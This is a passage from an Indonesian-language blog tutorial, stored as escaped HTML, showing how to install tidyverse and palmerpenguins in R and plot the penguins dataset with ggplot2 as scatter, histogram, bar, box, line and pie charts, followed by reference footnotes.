&lt;code&gt;tidyverse&lt;/code&gt; menyediakan 8 &lt;em&gt;packages&lt;/em&gt; untuk proses analisis data, terutama &lt;em&gt;package&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ggplot2&lt;/code&gt;&lt;/strong&gt; yang akan kita gunakan untuk membuat visualisasi data&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;Sedangkan, salah satu &lt;em&gt;packages&lt;/em&gt; dari &lt;em&gt;library&lt;/em&gt; &lt;code&gt;palmerpenguins&lt;/code&gt;, yaitu &lt;em&gt;package&lt;/em&gt; &lt;strong&gt;&lt;code&gt;penguins&lt;/code&gt;&lt;/strong&gt; adalah dataset yang akan kita gunakan sebagai sumber olah datanya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;Adapun perintah untuk meng-&lt;em&gt;install&lt;/em&gt; kedua paket tersebut yaitu sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;install.packages(&quot;tidyverse&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;install.packages(&quot;palmerpenguins&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau dalam satu baris, kita dapat memasang kedua &lt;em&gt;packages&lt;/em&gt; atau &lt;em&gt;library&lt;/em&gt; tersebut seperti berikut&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;install.packages(c(&quot;tidyverse&quot;, &quot;palmerpenguins&quot;))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;6. Playing with Data&lt;a href=&quot;#6-playing-with-data&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Setelah ter-&lt;em&gt;install&lt;/em&gt;, agar dapat digunakan, kita perlu memanggil kedua &lt;em&gt;packages&lt;/em&gt; atau &lt;em&gt;libraries&lt;/em&gt; tersebut dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;library(&quot;tidyverse&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;library(&quot;palmerpenguins&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;Viewing Dataset&lt;a href=&quot;#viewing-dataset&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kemudian, kita bisa melihat dataset &lt;strong&gt;penguins&lt;/strong&gt; menggunakan fungsi &lt;code&gt;View()&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;View(penguins)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; R adalah bahasa yang &lt;em&gt;case-sensitive&lt;/em&gt;. Artinya, akan berbeda hasilnya jika kita menggunakan fungsi &lt;code&gt;view()&lt;/code&gt; dan fungsi &lt;code&gt;View()&lt;/code&gt;. Jadi, perhatikan penulisannya!&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;871&quot; height=&quot;1044&quot; src=&quot;/_astro/ss3.JNObQb8b_1lRu8x.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar di atas, dataset &lt;strong&gt;penguins&lt;/strong&gt; berhasil ditampilkan. Pada bagian pojok kiri bawah, kita juga dapat melihat informasi mengenai jumlah data yang terdapat dalam dataset tersebut (baris dan kolom).&lt;/p&gt;&lt;p&gt;Atau kalau kita ingin melihat informasi sebuah dataset tanpa harus menampilkan isinya, kita bisa menggunakan fungsi &lt;code&gt;glimpse()&lt;/code&gt; di console:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;glimpse(penguins)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;824&quot; height=&quot;256&quot; src=&quot;/_astro/ss4.zFxJibmQ_Z10BX58.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Informasi yang ditampilkan juga merupakan informasi yang sama, yaitu tentang jumlah baris dan kolom, berikut juga nama dari masing-masing kolom yang terdapat pada tabel dataset yang kita ingin ketahui (dalam hal ini adalah dataset &lt;strong&gt;penguins&lt;/strong&gt;). Berdasarkan informasi tersebut, kita dapat mengetahui bahwa dataset &lt;strong&gt;penguins&lt;/strong&gt; memiliki 344 baris atau bisa kita asumsikan juga bahwa terdapat &lt;em&gt;&lt;strong&gt;344 penguin&lt;/strong&gt;&lt;/em&gt; yang tercatat dan 8 kolom berupa informasi mengenai penguin-penguin tersebut yang terdiri dari &lt;em&gt;&lt;strong&gt;species&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;island&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;bill_length_mm&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;bill_depth_mm&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;flipper_length_mm&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;body_mass_g&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;sex&lt;/strong&gt;&lt;/em&gt;, dan &lt;em&gt;&lt;strong&gt;year&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Visualizing Data&lt;a href=&quot;#visualizing-data&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita bisa membuat grafik dari dataset &lt;strong&gt;penguins&lt;/strong&gt; tersebut menggunakan &lt;code&gt;ggplot2&lt;/code&gt;. Beberapa jenis grafik yang dapat dibuat berikut dengan fungsinya masing-masing adalah sebagai berikut:&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. Scatter Plot&lt;a href=&quot;#1-scatter-plot&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Scatter Plot&lt;/strong&gt; atau &lt;strong&gt;Grafik Pencar&lt;/strong&gt; digunakan untuk menampilkan hubungan antara dua variabel numerik.&lt;br /&gt;
Misalnya: Hubungan antara panjang paruh dan panjang sirip penguin.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ggplot(data = penguins, aes(x = bill_length_mm, y = flipper_length_mm, color=species)) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_point()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Scatter Plot hubungan antara panjang paruh dan panjang sirip penguin&quot; loading=&quot;lazy&quot; width=&quot;1139&quot; height=&quot;632&quot; src=&quot;/_astro/ss5.DKt9PfHR_ZVtzHy.webp&quot; /&gt;&lt;figcaption&gt;Scatter Plot hubungan antara panjang paruh dan panjang sirip penguin&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Histogram&lt;a href=&quot;#2-histogram&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Histogram&lt;/strong&gt; digunakan untuk menampilkan distribusi frekuensi dari suatu variabel numerik.&lt;br /&gt;
Misalnya: Distribusi panjang paruh penguin.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ggplot(data = penguins, aes(x = bill_length_mm)) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_histogram(binwidth = 2, fill = &quot;skyblue&quot;, color = &quot;black&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Histogram distribusi frekuensi panjang paruh penguin&quot; loading=&quot;lazy&quot; width=&quot;1137&quot; height=&quot;629&quot; src=&quot;/_astro/ss6.Bn5GK74W_Z12c7Mc.webp&quot; /&gt;&lt;figcaption&gt;Histogram distribusi frekuensi panjang paruh penguin&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Bar Plot&lt;a href=&quot;#3-bar-plot&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Bar Plot&lt;/strong&gt; digunakan untuk menampilkan perbandingan antara kategori atau faktor dengan nilai-nilai numerik.&lt;br /&gt;
Misalnya: Jumlah penguin berdasarkan spesiesnya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ggplot(data = penguins, aes(x = species, fill = species)) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_bar()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Bar Plot jumlah penguin berdasarkan spesiesnya&quot; loading=&quot;lazy&quot; width=&quot;1138&quot; height=&quot;631&quot; src=&quot;/_astro/ss7.Sv4vBoV8_FuS76.webp&quot; /&gt;&lt;figcaption&gt;Bar Plot jumlah penguin berdasarkan spesiesnya&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. Box Plot&lt;a href=&quot;#4-box-plot&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Box Plot&lt;/strong&gt; digunakan untuk menampilkan distribusi variabel numerik dalam beberapa kelompok kategori.&lt;br /&gt;
Misalnya: Distribusi panjang paruh penguin berdasarkan spesiesnya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ggplot(data = penguins, aes(x = species, y = bill_length_mm, fill = species)) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_boxplot()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Box Plot distribusi panjang paruh penguin berdasarkan spesiesnya&quot; loading=&quot;lazy&quot; width=&quot;1139&quot; height=&quot;631&quot; src=&quot;/_astro/ss8.BLRSAuHx_Z1ik6hK.webp&quot; /&gt;&lt;figcaption&gt;Box Plot distribusi panjang paruh penguin berdasarkan spesiesnya&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;5. Line Plot&lt;a href=&quot;#5-line-plot&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Line Plot&lt;/strong&gt; digunakan untuk menampilkan tren atau perubahan nilai variabel numerik secara berurutan.&lt;br /&gt;
Misalnya: Perubahan berat badan penguin dari waktu ke waktu.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Hitung rata-rata berat badan per tahun untuk setiap spesies&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;avg_weight &amp;lt;- penguins %&amp;gt;%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;group_by(year, species) %&amp;gt;%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;summarise(avg_weight = mean(body_mass_g))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Buat line plot&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ggplot(data = avg_weight, aes(x = year, y = avg_weight, group = species, color = species)) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_line() +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;labs(x = &quot;Tahun&quot;, y = &quot;Rata-Rata Berat Badan (g)&quot;, title = &quot;Perubahan Rata-Rata Berat Badan Penguin per Tahun&quot;) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;theme_minimal()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Line Plot perubahan berat badan penguin dari waktu ke waktu&quot; loading=&quot;lazy&quot; width=&quot;1137&quot; height=&quot;628&quot; src=&quot;/_astro/ss9.CCDUGj3-_Z12o7Iw.webp&quot; /&gt;&lt;figcaption&gt;Line Plot perubahan berat badan penguin dari waktu ke waktu&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;6. Pie Chart&lt;a href=&quot;#6-pie-chart&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Pie Chart&lt;/strong&gt; digunakan untuk menunjukkan atau membandingkan proporsi atau persentase dari beberapa kategori dalam suatu dataset&lt;sup&gt;&lt;a href=&quot;#user-content-fn-11&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;.&lt;br /&gt;
Misalnya: Perbandingan jumlah spesies penguin.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Menghitung jumlah observasi per spesies&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;penguins_count &amp;lt;- penguins %&amp;gt;%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;count(species) %&amp;gt;%&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mutate(percent = n / sum(n) * 100)  # Menambahkan kolom percent&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Buat pie chart menggunakan ggplot2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pie &amp;lt;- ggplot(data = penguins_count, aes(x = &quot;&quot;, y = n, fill = species)) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_bar(stat = &quot;identity&quot;, width = 1) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;coord_polar(theta = &quot;y&quot;) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;labs(fill = &quot;Spesies&quot;, x = NULL, y = NULL, title = &quot;Pie Chart Jumlah Observasi per Spesies&quot;) +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;theme_void() +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;theme(legend.position = &quot;right&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Tambahkan label persentase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pie +&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;geom_text(aes(label = paste0(round(percent), &quot;%&quot;)), position = position_stack(vjust = 0.5))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Pie Chart persentase spesies penguin&quot; loading=&quot;lazy&quot; width=&quot;1137&quot; height=&quot;630&quot; src=&quot;/_astro/ss10.n_mUi5Yw_Z1Gyf0f.webp&quot; /&gt;&lt;figcaption&gt;Pie Chart persentase spesies penguin&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekian dulu untuk pembahasan RStudio Basic-nya. Kalau kalian ingin tahu lebih jauh tentang visualisasi di R dan RStudio, saya sarankan untuk membaca-baca lebih banyak, seperti misalnya pada artikel berikut: &lt;a href=&quot;https://rpubs.com/alfanugraha/r-graph&quot; target=&quot;_blank&quot;&gt;https://rpubs.com/alfanugraha/r-graph&lt;/a&gt;. Artikel tersebut membahas lebih dalam mengenai visualisasi dan grafik di R, mulai dari grafik dasar dengan fungsi &lt;code&gt;plot()&lt;/code&gt;, &lt;code&gt;ggplot2()&lt;/code&gt;, dan &lt;code&gt;ggplot()&lt;/code&gt;, bahkan penerapan visualisasi spasial seperti peta.&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di artikel saya yang lain.&lt;br /&gt;
See ya!&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;em&gt;By the way&lt;/em&gt;, artikel ini saya buat dengan tampilan &lt;strong&gt;Debian Desktop XFCE&lt;/strong&gt;:&lt;br /&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;debian_buuf&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/debian_buuf.r5qOHpt5_Z20qefu.webp&quot; /&gt;&lt;figcaption&gt;debian_buuf&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.r-project.org/about.html&quot; target=&quot;_blank&quot;&gt;https://www.r-project.org/about.html&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://libguides.library.kent.edu/statconsulting/r&quot; target=&quot;_blank&quot;&gt;https://libguides.library.kent.edu/statconsulting/r&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/R_(bahasa_pemrograman)&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/R_(bahasa_pemrograman)&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://posit.co/about/&quot; target=&quot;_blank&quot;&gt;https://posit.co/about/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/how-to-install-r-studio-on-windows-and-linux/&quot; target=&quot;_blank&quot;&gt;https://www.geeksforgeeks.org/how-to-install-r-studio-on-windows-and-linux/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.datacamp.com/tutorial/r-studio-tutorial&quot; target=&quot;_blank&quot;&gt;https://www.datacamp.com/tutorial/r-studio-tutorial&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
